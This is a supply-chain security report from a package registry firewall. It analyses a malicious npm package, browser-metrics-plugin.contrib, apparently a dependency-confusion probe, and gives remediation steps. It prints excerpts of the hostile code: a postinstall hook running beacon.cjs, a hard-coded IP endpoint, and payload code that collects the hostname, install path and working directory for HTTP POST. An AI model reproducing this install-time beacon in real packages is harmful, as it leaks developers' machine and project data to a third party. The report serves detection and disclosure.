registry / Data exfiltration / browser-metrics-plugin.contrib

browser-metrics-plugin.contrib

Compatibility shim.

This report shows the evidence for browser-metrics-plugin.contrib@99.0.1. 6 of 6 known versions are blocked or flagged. The newest version, 2.0.1, is blocked. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 16d ago · by lpm-firewall-ai

The postinstall hook activates an outbound beacon that transmits machine identity and project path metadata to an unrelated hard-coded endpoint. This is active, unsolicited data exfiltration.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs its postinstall hook; importing index.js also invokes the beacon.

Impact

The remote recipient learns machine and project location metadata without an explicit runtime action by the user.

Mechanism

The beacon sends a JSON payload containing the hostname, install path, current working directory, and npm runtime version via HTTP POST to a hard-coded IP address.

Attack narrative

During installation, the package automatically sends host and project location metadata to a hard-coded external IP address over HTTP. Importing its main entrypoint also fires the same beacon.

AI rationale

The postinstall hook activates an outbound beacon that transmits machine identity and project path metadata to an unrelated hard-coded endpoint. This is active, unsolicited data exfiltration.

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs beacon.cjs automatically during installation through a postinstall hook.
The beacon sends an HTTP POST to a hard-coded external IP address.
The transmitted payload includes the machine hostname, install path, working directory, and npm runtime version.
Importing the package entrypoint calls `fire()` from `beacon.cjs`.

Evidence against

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.29 KB of source, external domains: 185.158.107.175

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "files": [ "inde

High

Suspicious Lifecycle Evidence

The package runs beacon.cjs automatically during installation through a postinstall hook.

package.jsonView on unpkg · L7

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "browser-metrics-plugin.contrib"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = troubleshooting@99.0.1 matchedPath = beacon.cjs matchedIdentity = npm:dHJvdWJsZXNob290aW5n:99.0.1 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

26var payload = { package: PKG, hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(), userAgent: 'npm/' + (process.version || ''), protocol: (BEACON.indexOf('https:') === 0) ? 'https' : 'http' }; return _post(payload); } if (require.main === modu

High

Ai Review Evidence

The transmitted payload includes the machine hostname, install path, working directory, and npm runtime version.

beacon.cjsView on unpkg · L26

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a defensive Proxy: any property access returns a no-op function, so a // bundler that imports named/default members o

High

Ai Review Evidence

Importing the package entrypoint calls `fire()` from `beacon.cjs`.

index.jsView on unpkg · L4

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "files": [ "inde

High

Suspicious Lifecycle Evidence

The package runs beacon.cjs automatically during installation through a postinstall hook.

package.jsonView on unpkg · L7

beacon.cjsView file

Findings

6 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to browser-metrics-plugin.contrib@99.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing browser-metrics-plugin.contrib@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-07 06:45:05.027Z (UTC).

Source advisory published: 2026-10-07 00:01:40.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

6 known versions

2.0.1latestMaliciousMalwareBlockPublishedOct 7, 2026, 12:04 AM 1.0.1MaliciousMalwareBlockPublishedOct 7, 2026, 12:04 AM 99.0.1shownMaliciousData ExfiltrationBlockPublishedOct 7, 2026, 12:02 AM 1.1.0MaliciousMalwareBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages